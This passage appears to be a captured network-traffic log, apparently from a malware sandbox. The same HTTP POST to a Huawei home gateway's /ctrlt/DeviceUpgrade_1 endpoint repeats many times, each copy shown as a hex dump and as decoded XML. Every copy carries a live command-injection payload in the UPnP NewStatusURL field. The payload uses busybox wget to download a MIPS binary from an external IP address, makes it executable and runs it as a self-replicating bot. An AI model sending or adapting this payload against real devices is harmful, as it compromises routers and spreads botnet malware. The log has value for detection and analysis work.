xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
